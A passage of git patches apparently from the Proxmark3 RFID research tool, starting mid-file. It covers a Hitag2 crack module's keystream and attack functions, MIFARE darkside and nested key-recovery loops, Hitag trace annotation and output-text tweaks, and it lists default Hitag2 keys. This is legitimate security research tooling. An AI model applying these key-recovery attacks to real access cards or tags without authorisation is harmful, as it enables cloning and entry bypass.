+// length) to consume keystream. +// keybits is the binarray of keystream bits; +// kslen is the length of keystream; +// ksoffset is a pointer to the current keystream offset (updated by this fn); +// nrar is the 64 bit binarray of the nR aR pair. +bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar) { + int conlen; + int numcmds; + int i; + uint8_t ext_cmd[510]; + uint8_t e_ext_cmd[510]; + uint8_t responsestr[9]; + + // calculate the length of keybits to consume with the extended command. + // 42 = 32 bit response + 10 bit command reserved for next command. conlen + // cannot be longer than 510 bits to fit into the small RWD buffer. + conlen = kslen - *ksoffset - 42; + if (conlen < 10) + { + UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n"); + return false; + } + + // sanitise conlen + if (conlen > 510) + { + conlen = 510; + } + + // calculate how many repeated commands to send in this extended command. + numcmds = conlen / 10; + + // build extended command + for (i=0; i, Aug 2018 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Definitions hitag2 attack functions +//----------------------------------------------------------------------------- + +bool hitag2_crack(uint8_t *response, uint8_t *nrarhex); +bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]); +bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]); +bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid); +void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len); +bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits); +bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len); +bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset); + +bool hitag2crack_rng_init(uint8_t *response, uint8_t *input); +bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex); +bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *hex); +bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex); +bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *hex); + +bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex); +bool hitag2crack_send_auth(uint8_t *nrar); +bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar); +bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid); + +bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive); From cb67feee197b17c7ca6e9f4316122598b9518c3d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 17 Jan 2020 17:06:46 +0100 Subject: [PATCH 342/418] documentation --- armsrc/hitag2.c | 1 + armsrc/lfadc.c | 6 +++++- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 158ffa095..0e56918a5 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1326,6 +1326,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { } LED_D_ON(); + hitag2_init(); // init as reader diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c index eaaa38631..3e15fdc0b 100644 --- a/armsrc/lfadc.c +++ b/armsrc/lfadc.c @@ -155,7 +155,11 @@ void lf_init(bool reader) { FpgaSetupSsc(); // When in reader mode, give the field a bit of time to settle. - if (reader) SpinDelay(50); + // 313T0 = 313 * 8us = 2504us = 2.5ms Hitag2 tags needs to be fully powered. + if (reader) { + // 50 ms + SpinDelay(50); + } // Steal this pin from the SSP (SPI communication channel with fpga) and use it to control the modulation AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; From 7ef3da91a0e41694d53e88ab3621a8a4a8f6c31b Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 17 Jan 2020 17:37:08 +0100 Subject: [PATCH 343/418] chg: 'hf search' - textoutput logic --- client/cmdhf.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/client/cmdhf.c b/client/cmdhf.c index d0fbbffb2..e90f2ea28 100644 --- a/client/cmdhf.c +++ b/client/cmdhf.c @@ -85,8 +85,6 @@ int CmdHFSearch(const char *Cmd) { char cmdp = tolower(param_getchar(Cmd, 0)); if (cmdp == 'h') return usage_hf_search(); - PrintAndLogEx(INFO, "Checking for known tags..."); - PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, "Searching for ThinFilm tag..."); if (IfPm3NfcBarcode()) { @@ -170,9 +168,8 @@ int CmdHFSearch(const char *Cmd) { } PROMPT_CLEARLINE; - PrintAndLogEx(INPLACE, "done"); + PrintAndLogEx(INPLACE, _RED_("No known/supported 13.56 MHz tags found")); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, _RED_("No known/supported 13.56 MHz tags found")); return PM3_ESOFT; } From 42c6c1338e98d082a9fbb3d79c481d2965aac2dd Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 17 Jan 2020 17:41:28 +0100 Subject: [PATCH 344/418] textual --- client/cmdhflto.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/client/cmdhflto.c b/client/cmdhflto.c index 10847645b..2cd423ccd 100644 --- a/client/cmdhflto.c +++ b/client/cmdhflto.c @@ -145,7 +145,8 @@ int infoLTO(bool verbose) { lto_switch_off_field(); if (ret_val == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "\nUID: " _YELLOW_("%s"), sprint_hex_inrow(serial_number, sizeof(serial_number))); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "UID: " _YELLOW_("%s"), sprint_hex_inrow(serial_number, sizeof(serial_number))); // todo: add printing of all configuration } From 505777e3f1fd4bd9738ef5c2bfa13c672c743d00 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 17 Jan 2020 17:54:17 +0100 Subject: [PATCH 345/418] text --- client/cmdhflto.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/client/cmdhflto.c b/client/cmdhflto.c index 2cd423ccd..39e9cf30b 100644 --- a/client/cmdhflto.c +++ b/client/cmdhflto.c @@ -132,7 +132,7 @@ static int CmdHfLTOInfo(const char *Cmd) { return PM3_EINVARG; } - return infoLTO(true); + return infoLTO(false); } int infoLTO(bool verbose) { @@ -146,9 +146,11 @@ int infoLTO(bool verbose) { if (ret_val == PM3_SUCCESS) { PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, "UID: " _YELLOW_("%s"), sprint_hex_inrow(serial_number, sizeof(serial_number))); - + PrintAndLogEx(SUCCESS, " UID : " _YELLOW_("%s"), sprint_hex_inrow(serial_number, sizeof(serial_number))); + PrintAndLogEx(SUCCESS, "TYPE : "); // todo: add printing of all configuration + } else { + if (verbose) PrintAndLogEx(WARNING, "LTO-CM card select failed"); } /* read block: From f8c794208245ef5433a13e5dcbf270e50a22970a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 19 Jan 2020 12:09:56 +0100 Subject: [PATCH 346/418] textual --- client/mifare/mifarehost.c | 55 +++++++++++++++++++++++++++----------- 1 file changed, 39 insertions(+), 16 deletions(-) diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index 5ba245070..e3021c8f6 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -125,15 +125,16 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { } } - PrintAndLogEx(SUCCESS, "found " _YELLOW_("%u") "candidate key%s\n", keycount, (keycount > 1) ? "s." : "."); + PrintAndLogEx(SUCCESS, "found " _YELLOW_("%u") "candidate key%s", keycount, (keycount > 1) ? "s." : "."); *key = UINT64_C(-1); uint8_t keyBlock[PM3_CMD_DATA_SIZE]; uint32_t max_keys = KEYS_IN_BLOCK; for (uint32_t i = 0; i < keycount; i += max_keys) { - uint32_t size = keycount - i > max_keys ? max_keys : keycount - i; - for (uint32_t j = 0; j < size; j++) { + uint8_t size = keycount - i > max_keys ? max_keys : keycount - i; + register uint8_t j; + for (j = 0; j < size; j++) { if (par_list == 0) { num_to_bytes(last_keylist[i * max_keys + j], 6, keyBlock + (j * 6)); } else { @@ -159,6 +160,7 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { free(keylist); return PM3_SUCCESS; } + int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key) { *key = -1; clearCommandBuffer(); @@ -308,7 +310,7 @@ int mfKeyBrute(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint64_t *resultk } // Compare 16 Bits out of cryptostate -static int Compare16Bits(const void *a, const void *b) { +inline static int Compare16Bits(const void *a, const void *b) { if ((*(uint64_t *)b & 0x00ff000000ff0000) == (*(uint64_t *)a & 0x00ff000000ff0000)) return 0; if ((*(uint64_t *)b & 0x00ff000000ff0000) > (*(uint64_t *)a & 0x00ff000000ff0000)) return 1; return -1; @@ -330,13 +332,14 @@ __attribute__((force_align_arg_pointer)) statelist->len = p1 - statelist->head.slhead; statelist->tail.sltail = --p1; + qsort(statelist->head.slhead, statelist->len, sizeof(uint64_t), Compare16Bits); return statelist->head.slhead; } int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate) { - uint16_t i; + uint32_t uid; StateList_t statelists[2]; struct Crypto1State *p1, *p2, *p3, *p4; @@ -385,7 +388,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, memcpy(&uid, package->cuid, sizeof(package->cuid)); - for (i = 0; i < 2; i++) { + for (uint8_t i = 0; i < 2; i++) { statelists[i].blockNo = package->block; statelists[i].keyType = package->keytype; statelists[i].uid = uid; @@ -402,11 +405,11 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, pthread_t thread_id[2]; // create and run worker threads - for (i = 0; i < 2; i++) + for (uint8_t i = 0; i < 2; i++) pthread_create(thread_id + i, NULL, nested_worker_thread, &statelists[i]); // wait for threads to terminate: - for (i = 0; i < 2; i++) + for (uint8_t i = 0; i < 2; i++) pthread_join(thread_id[i], (void *)&statelists[i].head.slhead); // the first 16 Bits of the cryptostate already contain part of our key. @@ -457,6 +460,8 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint32_t keycnt = statelists[0].len; if (keycnt == 0) goto out; + PrintAndLogEx(SUCCESS, "Found " _YELLOW_("%u") "candidate keys", keycnt); + memset(resultKey, 0, 6); uint64_t key64 = -1; @@ -464,11 +469,14 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint32_t max_keys = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt; uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00}; - for (i = 0; i < keycnt; i += max_keys) { + uint64_t start_time = msclock(); - int size = keycnt - i > max_keys ? max_keys : keycnt - i; + for (uint32_t i = 0; i < keycnt; i += max_keys) { - for (int j = 0; j < size; j++) { + uint8_t size = keycnt - i > max_keys ? max_keys : keycnt - i; + + register uint8_t j; + for (j = 0; j < size; j++) { crypto1_get_lfsr(statelists[0].head.slhead + i, &key64); num_to_bytes(key64, 6, keyBlock + j * 6); } @@ -485,6 +493,13 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, ); return -5; } + + float bruteforce_per_second = (float)KEYS_IN_BLOCK / (float)(msclock() - start_time) * 1000.0; + start_time = msclock(); + + if ( i + 1 % 10 == 0) + PrintAndLogEx(INFO, " %8d keys left | %5.1f keys/sec | worst case %6.1f seconds remaining", keycnt - i, bruteforce_per_second, (keycnt-i) / bruteforce_per_second); + } out: @@ -499,7 +514,7 @@ out: } int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey) { - uint16_t i; + uint32_t uid; StateList_t statelists[1]; struct Crypto1State *p1, *p3; @@ -589,16 +604,18 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl uint32_t max_keys_slice = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt; uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00}; - for (i = 0; i < keycnt; i += max_keys_slice) { + uint64_t start_time = msclock(); + for (uint32_t i = 0; i < keycnt; i += max_keys_slice) { - PrintAndLogEx(INFO, "Testing %u / %u ", i, keycnt); +// PrintAndLogEx(INFO, "Testing %u / %u ", i, keycnt); key64 = 0; - int size = keycnt - i > max_keys_slice ? max_keys_slice : keycnt - i; + uint8_t size = keycnt - i > max_keys_slice ? max_keys_slice : keycnt - i; // copy x keys to device. - for (int j = 0; j < size; j++) { + register uint8_t j; + for (j = 0; j < size; j++) { crypto1_get_lfsr(statelists[0].head.slhead + i + j, &key64); num_to_bytes(key64, 6, keyBlock + j * 6); } @@ -617,6 +634,12 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl ); return PM3_SUCCESS; } + float bruteforce_per_second = (float)KEYS_IN_BLOCK / (float)(msclock() - start_time) * 1000.0; + start_time = msclock(); + + if ( i+1 % 10 == 0) + PrintAndLogEx(INFO, " %8d keys left | %5.1f keys/sec | worst case %6.1f seconds remaining", keycnt - i, bruteforce_per_second, (keycnt-i) / bruteforce_per_second); + } out: From dab043a1fc487d51aceaf1b5de17cff55065f077 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 19 Jan 2020 14:51:39 +0100 Subject: [PATCH 347/418] textual --- client/cmdlf.c | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/client/cmdlf.c b/client/cmdlf.c index 48f1cd235..3fee78735 100644 --- a/client/cmdlf.c +++ b/client/cmdlf.c @@ -339,7 +339,7 @@ int CmdLFCommandRead(const char *Cmd) { // bitbang mode if (payload.delay == 0) { if (payload.zeros < 7 || payload.ones < 7) { - PrintAndLogEx(WARNING, "Warning periods cannot be less than 7us in bit bang mode"); + PrintAndLogEx(WARNING, "warning periods cannot be less than 7us in bit bang mode"); return PM3_EINVARG; } } @@ -347,15 +347,14 @@ int CmdLFCommandRead(const char *Cmd) { //Validations if (errors || cmdp == 0) return usage_lf_cmdread(); - PrintAndLogEx(SUCCESS, "Sending"); + PrintAndLogEx(SUCCESS, "sending"); clearCommandBuffer(); SendCommandNG(CMD_LF_MOD_THEN_ACQ_RAW_ADC, (uint8_t *)&payload, 8 + datalen); - printf("\n"); - PacketResponseNG resp; uint8_t i = 10; + // 20sec wait loop while (!WaitForResponseTimeout(CMD_LF_MOD_THEN_ACQ_RAW_ADC, &resp, 2000) && i != 0) { printf("."); fflush(stdout); @@ -365,15 +364,15 @@ int CmdLFCommandRead(const char *Cmd) { if (resp.status == PM3_SUCCESS) { if (i) { - PrintAndLogEx(SUCCESS, "Downloading response signal data"); - getSamples(0, false); + PrintAndLogEx(SUCCESS, "downloading response signal data"); + getSamples(0, true); return PM3_SUCCESS; } else { PrintAndLogEx(WARNING, "timeout while waiting for reply."); return PM3_ETIMEOUT; } } - PrintAndLogEx(WARNING, "Command failed."); + PrintAndLogEx(WARNING, "command failed."); return PM3_ESOFT; } From e85fabf01512ad678883786991a1ed59ab94de8d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 20 Jan 2020 11:37:10 +0100 Subject: [PATCH 348/418] chg: 'lf hitag list' - improved hitag annotation --- client/cmdlfhitag.c | 47 ++++++++++++++++++++++++++++++++++++++++++--- client/cmdlfhitag.h | 4 +++- client/cmdtrace.c | 28 +++++++++++++++++++++------ include/protocols.h | 19 ++++++++++++------ 4 files changed, 82 insertions(+), 16 deletions(-) diff --git a/client/cmdlfhitag.c b/client/cmdlfhitag.c index 3ebbe47a6..f0a8037dc 100644 --- a/client/cmdlfhitag.c +++ b/client/cmdlfhitag.c @@ -18,6 +18,7 @@ #include "commonutil.h" #include "hitag.h" #include "fileutils.h" // savefile +#include "protocols.h" // defines static int CmdHelp(const char *Cmd); @@ -85,9 +86,9 @@ static int usage_hitag_reader(void) { PrintAndLogEx(NORMAL, " Hitag1 (1*)"); PrintAndLogEx(NORMAL, " Not implemented"); PrintAndLogEx(NORMAL, " Hitag2 (2*)"); - PrintAndLogEx(NORMAL, " 21 Read all pages, password mode. Default: 4D494B52 (\"MIKR\")"); + PrintAndLogEx(NORMAL, " 21 Read all pages, password mode. Default: " _YELLOW_("4D494B52") "(\"MIKR\")"); PrintAndLogEx(NORMAL, " 22 Read all pages, challenge mode"); - PrintAndLogEx(NORMAL, " 23 Read all pages, crypto mode. Key format: ISK high + ISK low. Default: 4F4E4D494B52 (\"ONMIKR\")"); + PrintAndLogEx(NORMAL, " 23 Read all pages, crypto mode. Key format: ISK high + ISK low. Default: " _YELLOW_("4F4E4D494B52") "(\"ONMIKR\")"); PrintAndLogEx(NORMAL, " 25 Test recorded authentications"); PrintAndLogEx(NORMAL, " 26 Just read UID"); return PM3_SUCCESS; @@ -124,7 +125,7 @@ static int usage_hitag_checkchallenges(void) { static int CmdLFHitagList(const char *Cmd) { (void)Cmd; // Cmd is not used so far - CmdTraceList("hitag"); + CmdTraceList("hitag2"); return PM3_SUCCESS; /* @@ -698,6 +699,46 @@ static int CmdLFHitagDump(const char *Cmd) { } */ +// Annotate HITAG protocol +void annotateHitag1(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { +} + +void annotateHitag2(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { + + uint8_t cmdbits = (cmd[0] & 0xC0) >> 6; + + if (cmdsize == 1) { + if (cmdbits == HITAG2_START_AUTH) { + snprintf(exp, size, "START AUTH"); + return; + } + if (cmdbits == HITAG2_HALT) { + snprintf(exp, size, "HALT"); + return; + } + } + + if (cmdsize == 2) { + if (cmdbits == HITAG2_START_AUTH) { + // C 1 C 0 + // 1100 0 00 1 1100 000 + uint8_t page = (cmd[0] & 0x38) >> 3; + uint8_t inv_page = ((cmd[0] & 0x1) << 2) | ((cmd[1] & 0xC0) >> 6); + snprintf(exp, size, "READ page(%x) %x", page, inv_page); + return; + } + if (cmdbits == HITAG2_WRITE_PAGE) { + uint8_t page = (cmd[0] & 0x38) >> 3; + uint8_t inv_page = ((cmd[0] & 0x1) << 2) | ((cmd[1] & 0xC0) >> 6); + snprintf(exp, size, "WRITE page(%x) %x", page, inv_page); + return; + } + } +} + +void annotateHitagS(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help" }, {"list", CmdLFHitagList, IfPm3Hitag, "List Hitag trace history" }, diff --git a/client/cmdlfhitag.h b/client/cmdlfhitag.h index c95c0e334..98b9968e0 100644 --- a/client/cmdlfhitag.h +++ b/client/cmdlfhitag.h @@ -16,5 +16,7 @@ int CmdLFHitag(const char *Cmd); int readHitagUid(void); - +void annotateHitag1(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); +void annotateHitag2(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); +void annotateHitagS(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); #endif diff --git a/client/cmdtrace.c b/client/cmdtrace.c index a13a82809..0e2093d98 100644 --- a/client/cmdtrace.c +++ b/client/cmdtrace.c @@ -17,6 +17,7 @@ #include "cmdhflist.h" // annotations #include "comms.h" // for sending cmds to device. GetFromBigBuf #include "fileutils.h" // for saveFile +#include "cmdlfhitag.h" // annotate hitag static int CmdHelp(const char *Cmd); @@ -281,7 +282,9 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr crcStatus = iso15693_CRC_check(frame, data_len); break; case ISO_7816_4: - case PROTO_HITAG: + case PROTO_HITAG1: + case PROTO_HITAG2: + case PROTO_HITAGS: default: break; } @@ -301,7 +304,9 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr && protocol != ISO_15693 && protocol != ICLASS && protocol != ISO_7816_4 - && protocol != PROTO_HITAG + && protocol != PROTO_HITAG1 + && protocol != PROTO_HITAG2 + && protocol != PROTO_HITAGS && protocol != THINFILM && protocol != FELICA && protocol != LTO @@ -385,6 +390,15 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr case LTO: annotateLTO(explanation, sizeof(explanation), frame, data_len); break; + case PROTO_HITAG1: + annotateHitag1(explanation, sizeof(explanation), frame, data_len); + break; + case PROTO_HITAG2: + annotateHitag2(explanation, sizeof(explanation), frame, data_len); + break; + case PROTO_HITAGS: + annotateHitagS(explanation, sizeof(explanation), frame, data_len); + break; default: break; } @@ -593,7 +607,9 @@ int CmdTraceList(const char *Cmd) { else if (strcmp(type, "15") == 0) protocol = ISO_15693; else if (strcmp(type, "felica") == 0) protocol = FELICA; else if (strcmp(type, "mf") == 0) protocol = PROTO_MIFARE; - else if (strcmp(type, "hitag") == 0) protocol = PROTO_HITAG; + else if (strcmp(type, "hitag1") == 0) protocol = PROTO_HITAG1; + else if (strcmp(type, "hitag2") == 0) protocol = PROTO_HITAG2; + else if (strcmp(type, "hitags") == 0) protocol = PROTO_HITAGS; else if (strcmp(type, "thinfilm") == 0) protocol = THINFILM; else if (strcmp(type, "lto") == 0) protocol = LTO; else if (strcmp(type, "raw") == 0) protocol = -1; //No crc, no annotations @@ -673,11 +689,11 @@ int CmdTraceList(const char *Cmd) { PrintAndLogEx(NORMAL, "ISO15693 - Timings are not as accurate"); if (protocol == ISO_7816_4) PrintAndLogEx(NORMAL, "ISO7816-4 / Smartcard - Timings N/A yet"); - if (protocol == PROTO_HITAG) - PrintAndLogEx(NORMAL, "Hitag2 / HitagS - Timings in ETU (8us)"); + if (protocol == PROTO_HITAG1 || protocol == PROTO_HITAG2 || protocol == PROTO_HITAGS) + PrintAndLogEx(NORMAL, "Hitag1 / Hitag2 / HitagS - Timings in ETU (8us)"); if (protocol == FELICA) PrintAndLogEx(NORMAL, "ISO18092 / FeliCa - Timings are not as accurate"); - + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, " Start | End | Src | Data (! denotes parity error) | CRC | Annotation"); PrintAndLogEx(NORMAL, "------------+------------+-----+-------------------------------------------------------------------------+-----+--------------------"); diff --git a/include/protocols.h b/include/protocols.h index 47e022c28..222e16ab8 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -305,9 +305,11 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define ISO_15693 7 #define FELICA 8 #define PROTO_MIFARE 9 -#define PROTO_HITAG 10 +#define PROTO_HITAG1 10 #define THINFILM 11 #define LTO 12 +#define PROTO_HITAG2 13 +#define PROTO_HITAGS 14 //-- Picopass fuses #define FUSE_FPERS 0x80 @@ -588,12 +590,17 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define HITAG1_HALT 0x70 // left 4 bits only, followed by 8 bits (dummy) page and 8 bits CRC // HITAG2 commands -#define HITAG2_START_AUTH 0xC0 // left 5 bits only -#define HITAG2_READ_PAGE 0xC0 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits -#define HITAG2_READ_PAGE_INVERTED 0x44 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits -#define HITAG2_WRITE_PAGE 0x82 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits -#define HITAG2_HALT 0x00 // left 5 bits only +#define HITAG2_START_AUTH 0x3 // left 5 bits only +#define HITAG2_READ_PAGE 0x3 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits +#define HITAG2_READ_PAGE_INVERTED 0x1 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits +#define HITAG2_WRITE_PAGE 0x2 // page number in bits 5 to 3, page number +#define HITAG2_HALT 0x0 // left 5 bits only + +// HITAG S commands +#define HITAGS_QUIET 0x70 +//inverted in bit 0 and following 2 bits +#define HITAGS_WRITE_BLOCK 0x90 // LTO-CM commands #define LTO_REQ_STANDARD 0x45 From 3fa5858af904eeb9e55d09e49e4fe61798e67239 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 20 Jan 2020 11:47:13 +0100 Subject: [PATCH 349/418] textual --- client/cmdtrace.c | 4 +++- include/protocols.h | 3 ++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/client/cmdtrace.c b/client/cmdtrace.c index 0e2093d98..76fd05d5d 100644 --- a/client/cmdtrace.c +++ b/client/cmdtrace.c @@ -46,7 +46,9 @@ static int usage_trace_list() { PrintAndLogEx(NORMAL, " iclass - interpret data as iclass communications"); PrintAndLogEx(NORMAL, " legic - interpret data as LEGIC communications"); PrintAndLogEx(NORMAL, " felica - interpret data as ISO18092 / FeliCa communications"); - PrintAndLogEx(NORMAL, " hitag - interpret data as Hitag2 / HitagS communications"); + PrintAndLogEx(NORMAL, " hitag1 - interpret data as Hitag1 communications"); + PrintAndLogEx(NORMAL, " hitag2 - interpret data as Hitag2 communications"); + PrintAndLogEx(NORMAL, " hitags - interpret data as HitagS communications"); PrintAndLogEx(NORMAL, " lto - interpret data as LTO-CM communications"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); diff --git a/include/protocols.h b/include/protocols.h index 222e16ab8..e1d898d53 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -591,11 +591,12 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. // HITAG2 commands #define HITAG2_START_AUTH 0x3 // left 5 bits only +#define HITAG2_HALT 0x0 // left 5 bits only #define HITAG2_READ_PAGE 0x3 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits #define HITAG2_READ_PAGE_INVERTED 0x1 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits #define HITAG2_WRITE_PAGE 0x2 // page number in bits 5 to 3, page number -#define HITAG2_HALT 0x0 // left 5 bits only + // HITAG S commands #define HITAGS_QUIET 0x70 From e3ff3a8819ffa85114a33948637f1840a9ca6055 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 20 Jan 2020 11:54:21 +0100 Subject: [PATCH 350/418] textual --- client/cmdtrace.c | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/client/cmdtrace.c b/client/cmdtrace.c index 76fd05d5d..88f55ed3f 100644 --- a/client/cmdtrace.c +++ b/client/cmdtrace.c @@ -662,8 +662,7 @@ int CmdTraceList(const char *Cmd) { } } - PrintAndLogEx(SUCCESS, "Recorded Activity (TraceLen = %lu bytes)", traceLen); - PrintAndLogEx(INFO, ""); + PrintAndLogEx(SUCCESS, "Recorded activity (trace len = " _YELLOW_("%lu") "bytes)", traceLen); /* if (protocol == FELICA) { @@ -675,26 +674,26 @@ int CmdTraceList(const char *Cmd) { tracepos = printHexLine(tracepos, traceLen, trace, protocol); } } else { - PrintAndLogEx(NORMAL, "Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer"); + PrintAndLogEx(INFO, _YELLOW_("Start") "= Start of Start Bit, " _YELLOW_("End") "= End of last modulation. " _YELLOW_("Src") "= Source of Transfer"); if (protocol == ISO_14443A || protocol == PROTO_MIFARE || protocol == MFDES || protocol == TOPAZ || protocol == LTO) - PrintAndLogEx(NORMAL, "ISO14443A - All times are in carrier periods (1/13.56MHz)"); + PrintAndLogEx(INFO, "ISO14443A - All times are in carrier periods (1/13.56MHz)"); if (protocol == THINFILM) - PrintAndLogEx(NORMAL, "Thinfilm - All times are in carrier periods (1/13.56MHz)"); + PrintAndLogEx(INFO, "Thinfilm - All times are in carrier periods (1/13.56MHz)"); if (protocol == ICLASS) - PrintAndLogEx(NORMAL, "iClass - Timings are not as accurate"); + PrintAndLogEx(INFO, "iClass - Timings are not as accurate"); if (protocol == LEGIC) - PrintAndLogEx(NORMAL, "LEGIC - Reader Mode: Timings are in ticks (1us == 1.5ticks)\n" + PrintAndLogEx(INFO, "LEGIC - Reader Mode: Timings are in ticks (1us == 1.5ticks)\n" " Tag Mode: Timings are in sub carrier periods (1/212 kHz == 4.7us)"); if (protocol == ISO_14443B) - PrintAndLogEx(NORMAL, "ISO14443B"); // Timings ? + PrintAndLogEx(INFO, "ISO14443B"); // Timings ? if (protocol == ISO_15693) - PrintAndLogEx(NORMAL, "ISO15693 - Timings are not as accurate"); + PrintAndLogEx(INFO, "ISO15693 - Timings are not as accurate"); if (protocol == ISO_7816_4) - PrintAndLogEx(NORMAL, "ISO7816-4 / Smartcard - Timings N/A yet"); + PrintAndLogEx(INFO, "ISO7816-4 / Smartcard - Timings N/A yet"); if (protocol == PROTO_HITAG1 || protocol == PROTO_HITAG2 || protocol == PROTO_HITAGS) - PrintAndLogEx(NORMAL, "Hitag1 / Hitag2 / HitagS - Timings in ETU (8us)"); + PrintAndLogEx(INFO, "Hitag1 / Hitag2 / HitagS - Timings in ETU (8us)"); if (protocol == FELICA) - PrintAndLogEx(NORMAL, "ISO18092 / FeliCa - Timings are not as accurate"); + PrintAndLogEx(INFO, "ISO18092 / FeliCa - Timings are not as accurate"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, " Start | End | Src | Data (! denotes parity error) | CRC | Annotation"); From f04be0c0442226149fa24a46a4328fa442646d40 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 20 Jan 2020 11:58:22 +0100 Subject: [PATCH 351/418] chg: hitag write - works --- armsrc/hitag2.c | 374 